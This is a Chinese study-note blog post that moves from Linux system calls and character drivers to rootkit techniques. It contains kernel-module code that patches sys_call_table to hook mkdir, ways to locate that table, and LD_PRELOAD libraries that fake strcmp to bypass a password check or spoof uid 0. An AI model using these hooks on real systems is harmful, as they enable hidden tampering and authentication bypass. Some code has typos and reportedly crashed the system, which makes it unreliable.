五、Openwrt Linux 嵌入式驱动系统调用

Linux 系统调用结构

  • 0.11内核文件里 的 kernel.h 里
  • 系统调用号 -->是sys_call_table[]—>执行不同的 sys_…
  • 特点一 :系统调用就像快递员 ,只传送命令 ,不实现相关命令,接口
  • 特点二 : 回调用VFS进行分类

字符设备驱动

  • 内核 的对象为 struct cdev
  • 每个字符 设备驱动都有 主设备号 从设备号
  • 主设备号 :类型---从内核中找到对应的cdev对象链表
    

在这里插入图片描述

  • 从设备号 :该类型下具体哪个设备
    

在这里插入图片描述

  1. 首先调用应用层的 read/write/open 时
    它的请求会传到标准C库里去
  2. 标准C库接收到这些请求后,根据当前调用的函数会调用不同的号,根据号来调用不同的系统调用
  3. 系统调用 只进行传送,不会做任何的实现,传给VFS 虚拟文件系统
  4. VFS 根据当前需要调用的fd 的类型来进行分类,比如是字符设备驱动
  5. 字符设备驱动 会根据当前的主设备号来找到调用哪个对象,找到对象后 根据从设备号找到对象里的 调用哪个 file_operations ,调用file_operations 来找 到里的read ,因为 read 与 uart_read 相连接,再 找到外部的uart硬件
  • 如何写驱动?
  • 首先分配 file_operations
static const struct file_operations ad1889_fops = {
	.owner	= THIS_MOUDLE,
	.llseek	= no_llseek,
	.read	= ad1889_read,
	.write	= ad1889_write,
	.poll	= ad1889_poll,
	.ioctl	= ad1889_ioctl,
	.mmap	= ad1889_mmap,
	.open	= ad1889_open,
	.relaeae= ad1889_release;
};
  • 一、劫持系统中用于读取文件列表的系统调用
  • 1.先寻找内核内存中系统调用表的内存地址sys_call_table,调换该内存中某个函数地址,实现劫持函数的调用—>实现某个真正系统调用的实现
    在这里插入图片描述
  • 2.如何实现 sys_call_table 地址的搜索
    1.通过部分系统文件 :/boot/System.map-4.15.0-xx-generic, 要用root权限进去查看
    在这里插入图片描述
  • 这些为部分系统调用的函数地址
    在这里插入图片描述
    在这里插入图片描述
  • 下面对 sys_call_table 的地址 进行修改
  • 首先创建 sys_map_addr.h 写下 sys_call_table 的地址
#define SYS_CALL_TABLE  0xffffffff818001c0
//该值在每次启动都不一样,因为有地址随机化
  • 在 lkm2.c 对内核进行相关的操作
/*lkm2.c*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>


#include "sys_map_addr.h"

unsigned long **sys_call_table = (unsigned long **) SYS_CALL_TABLE; //锁定sys_call_table,把从头文件sys_map_addr.h的地址赋给 当前函数

asmlinkage long (*real_mkdir)(const char __user *pathname,umode_t mode);
// 假的要模拟 真的函数一样写


asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{
	printk("mkdir-%s\n", pathname);
	if(NULL==strstr(pathname,"book"))//比较当前创建的目录是否 有book 的名字,如果有 ,return 0,否则创建
    {
        return (*real_mkdir)(pathname, mode);
    }
    else
    {
        return 0;
    }   
}



static int lkm_init(void)
{
    /*打开内核内存写保护*/
	write_cr0(read_cr0() & (~0x10000));
    //保存系统原有的系统调用接口函数
	real_mkdir = (void *)sys_call_table[__NR_mkdir];//2.6版本为__NR_mkdir
    //替换原有系统调用地址
    //__NR_mkdir的值是系统 unist.h 所对应的
    //要找到对应版本号的内核 所对应宏定义的值进行修改
	sys_call_table[__NR_mkdir] = fake_mkdir;
    /*关闭内核内存写保护*/
	write_cr0(read_cr0() | 0x10000);
	//告诉用户模块已经加载
	printk("book:module loaded\n");

	return 0;
}

//出口函数 要还原之前的值
static void lkm_exit(void)
{
	//关闭写保护
	write_cr0(read_cr0() & (~0x10000));	
	//还原原来真正的函数
	sys_call_table[__NR_mkdir] = real_mkdir;
	//开启写保护
	write_cr0(read_cr0() | 0x10000);
	//告诉用户模块已经移除
	printk("book:module removed\n");
}

module_init(lkm_init);
module_exit(lkm_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("book");
MODULE_DESCRIPTION("hook mkdir");
  • unist.h
    在这里插入图片描述

  • make
    在这里插入图片描述

  • 加载内核模块 insmod lkm2.ko

  • dmesg -c 查询
    在这里插入图片描述

  • 测试 是否能创建 book 文件夹,不能
    在这里插入图片描述

  • 在过一会后,系统崩溃了

  • 测试 能不能建 其他文件夹时,系统崩溃了

  • 2.在内存中进行特征搜索,找到sys_call_table的内存地址
    PAGE_OFFSET 内核内存空间的起始地址
    sys_close函数是导出 (sys_open sys_read没有导出),所以可以获取该函数的地址
    sys_close 和sys_call_table 在同一个内存区间

  • sys_call_table.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/memblock.h>
#include <asm/page.h>
#include <asm/cacheflush.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/printk.h>
#include <linux/dirent.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/fs.h>
#include <linux/minix_fs.h>
#include <linux/ext2_fs.h>
#include <linux/romfs_fs.h>
#include <uapi/linux/cramfs_fs.h>
#include <linux/initrd.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/decompress/generic.h>


MODULE_LICENSE("GPL");

unsigned long **real_sys_call_table;


static unsigned long ** get_sct_via_sys_close(void)
{
    unsigned long **entry = (unsigned long **)PAGE_OFFSET;

    for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
        if (entry[__NR_close] == (unsigned long *)sys_close) {
            return entry;
        }
    }
    return NULL;
}

static unsigned long ** get_sct(void)
{
    return get_sct_via_sys_close();
}


static int __init init_sys_call_memory(void)
{

    real_sys_call_table = get_sct();
    printk("PAGE_OFFSET = %lx\n", PAGE_OFFSET);
    printk("sys_call_table = %p\n", real_sys_call_table);
    printk("sys_call_table - PAGE_OFFSET = %lu MiB\n",
             ((unsigned long)real_sys_call_table -
              (unsigned long)PAGE_OFFSET) / 1024 / 1024);
    return 0;
}


static void __exit exit_sys_call_memory(void)
{
    printk("%s\n", "Farewell the World!");
    return;
}

module_init(init_sys_call_memory);
module_exit(exit_sys_call_memory);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("book");
MODULE_DESCRIPTION("hook mkdir");
  • 加载
    在这里插入图片描述

  • 3.通过 IDT 表

  • 4.系统硬编码寻找

  • Makefile --IDT表

KVERS = $(shell uname -r)

# Kernel modules
obj-m += lkm3.o

# Specify flags for the module compilation.
#EXTRA_CFLAGS=-g -O0

build: kernel_modules

kernel_modules:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules

clean:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean

  • lkm3.c
/*lkm3.c*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>

	
unsigned long *sys_call_table;

struct 
{
	unsigned short size;
	unsigned int addr;
}__attribute__((packed)) idtr;

struct
{
	unsigned short offset_1;
	unsigned short selector;
	unsigned char zero;
	unsigned char type_attr;
	unsigned short offset_2;
}__attribute__((packed)) idt;

unsigned long  *find_sys_call_table(void)
{
	unsigned int sys_call_off;
	char *p;
	int i;
	unsigned int ret;

	asm("sidt %0":"=m"(idtr));
	printk("Arciryas:idt table-0x%x\n", idtr.addr);
// 之所以是 0x80是因为是sys_call的地址
	memcpy(&idt, idtr.addr+8*0x80, sizeof(idt));
	sys_call_off = ((idt.offset_2<<16) | idt.offset_1);

	p = sys_call_off;
	
//找硬编码
	for(i=0; i<100; i++)
	{
		if(p[i]=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85')
			ret = *(unsigned int *)(p+i+3);
	}
	printk("Arciryas:sys_call_table-0x%x\n", ret);
	return (unsigned long**)ret;
}

asmlinkage long (*real_mkdir)(const char __user *pathname,
				umode_t mode);
asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{
	printk("Arciryas:mkdir-%s\n", pathname);
	
	return (*real_mkdir)(pathname, mode);
}

static int lkm_init(void)
{
	sys_call_table = find_sys_call_table();

	write_cr0(read_cr0() & (~0x10000));
	real_mkdir = (void *)sys_call_table[__NR_mkdir];
	sys_call_table[__NR_mkdir] = fake_mkdir;
	write_cr0(read_cr0() | 0x10000);

	printk("Arciryas:module loaded\n");

	return 0;
}

static void lkm_exit(void)
{
	write_cr0(read_cr0() & (~0x10000));	
	sys_call_table[__NR_mkdir] = real_mkdir;
	write_cr0(read_cr0() | 0x10000);
	printk("Arciryas:module removed\n");
}

module_init(lkm_init);
module_exit(lkm_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("book");
MODULE_DESCRIPTION("hook mkdir");

  • 通过找到call 来追踪 sys_call_table 从0.11内核文件得知
    在这里插入图片描述
    在这里插入图片描述

  • 系统调用的各个节点
    int 0x80
    触发SWI中断异常
    idt(系统中断异常向量表) 表中找到 0x80 中断对应的中断处理函数
    syscall
    call sys_call_table eax(nr_syscall)
    sys_read
    file
    file_operations
    .read

  • 二、劫持文件系统的库函数,实现对于文件的隐藏

用个preload 预加载库机制进行
preload 用来调试等功能,主要来在所有库加载之前, 加载用一个 preload 指定的库

  • 例子
  • pass.c文件
#include <stdio.h>
#include <string.h>

int main(int argc,char*argv[])
{
	char passwd[]="SWITCH";
	if(argc<2)
	{
		printf("usage:%s<password>\n",argv[0]);
		return ;
	}
	if(!strcmp(passwd,argv[1]))
	{
		printf("Welcome into process!\n");
		return;	
	}
	printf("Error password!\n");
	
}
  • 对 pass.c进行编译
    在这里插入图片描述
  • ldd pass (ldd 是用来追寻某个程序它所使用的的动态库)
    在这里插入图片描述
  • 如果执行 pass 程序 的密码不对是不能进去的
  • 对了才能进去
  • 在这里插入图片描述
  • 假如我们不知道 密码 ,应从preload 入手,在调用原本要加载的库之前,把自己写的库预加载进去

parook.c 文件

#include <stdio.h>
#include <string.h>


int strcmp(const char *s1,const char *s2)
{
	printf("password = <%s>\n",s1);
	return 0;
}
  • 1.编写注入劫持函数,并编译成动态链接库
  • gcc -fPIC -shared parock.c -o libmycmp.so
    在这里插入图片描述
  • 先看看未预加载的 pass 的库使用情况
    在这里插入图片描述
  • 切换root权限/不切也可以
  • export LD_PRELOAD = 绝对路径+预加载库名.so
    在这里插入图片描述
  • 此时 ./pass +密码 试验 任意密码是否能进入
  • 成功
    在这里插入图片描述
  • 卸载预加载库
  • 在这里插入图片描述
    在这里插入图片描述
  • 怎么防止别人用这样的方法来实现进入?

在执行验证密码前,对库进行验证

  • 假如现在有 A, B软件, B软件执行需要A软件提供的 ID号来决定是否有效 ,可以从A软件给的值修改id值
  • rootkit.c 文件,无论返回的 id值是多少,都返回 0 的root权限
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
uid_t geteuid(void){return 0;}
uid_t getuid(void){return 0;}
uid_t getgid(void){return 0;}
  • 生成 rootkit.so 文件
    在这里插入图片描述

  • 先查看当前的id值
    在这里插入图片描述

  • 预加载rootkit.so
    在这里插入图片描述

  • 再查看 此时 id ,已被修改成 0
    在这里插入图片描述

  • 卸载预加载 unset LD_PRELOAD,再查看id,已恢复
    之前的id值 在这里插入图片描述

  • 用 ldd 对比 预加载之前和之后的 库的调用情况

  • 预加载之前
    在这里插入图片描述

  • 预加载之后
    在这里插入图片描述

  • 之前都是修改整个系统的环境变量进行操作

  • 现在 对单个程序进行预加载
    *LD_PRELOAD=/home/book/NW/preload/libmycmp.so ./pass hello

  • 成功
    在这里插入图片描述

  • 怎么识别调用了哪些库文件

符号表

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值